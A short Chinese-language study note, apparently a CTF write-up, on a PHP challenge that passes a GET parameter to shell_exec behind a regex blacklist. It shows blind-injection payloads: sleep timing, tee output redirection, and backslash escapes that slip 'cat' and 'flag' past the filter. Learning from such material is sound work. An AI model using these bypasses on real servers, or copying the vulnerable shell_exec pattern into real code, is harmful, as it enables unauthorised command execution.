RCE-PLUS (学习记录)

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

过滤了很多东西,但是空格什么的没过滤

发现是用shell_exec()无回显的命令执行,所以把文件写入txt看结果

判断指令
?cmd=ls / | sleep 5
把回显输入文本文件

两种方法

?cmd=ls / | tee 1.txt
?cmd=ls / > tee 1.txt

直接访问

绕过对cat和flag的过滤
?cmd=c\at /fl\ag | tee 2.txt
?cmd=c\at /fl\ag > tee 2.txt

总结

无回显RCE

WAF绕过

相关推荐
万琛3 分钟前
【Java-tesseract】OCR图片文本识别
java·ocr
励志成为大佬的小杨6 分钟前
c语言中的枚举类型
java·c语言·前端
yava_free9 分钟前
指定Bean加载顺序的能力
java·开发语言
whisperrr.16 分钟前
探索JDBC:Java数据库连接的艺术与魅力
java·开发语言·数据库
皓月盈江32 分钟前
Linux Debian安装ClamAV和命令行扫描病毒方法,以及用Linux Shell编写了一个批量扫描病毒的脚本
linux·运维·ubuntu·debian·clamav·开源杀毒
前端熊猫34 分钟前
Element Plus 日期时间选择器大于当天时间置灰
前端·javascript·vue.js
boy快快长大36 分钟前
【NebulaGraph】查询案例(六)
java·服务器·数据库
steveqobs38 分钟前
Debian-linux运维-locale配置(locale failed)
linux·运维·debian
重生之Java开发工程师40 分钟前
JVM 主要组成部分与内存区域
java·jvm·面试
傻小胖42 分钟前
React 组件通信完整指南 以及 自定义事件发布订阅系统
前端·javascript·react.js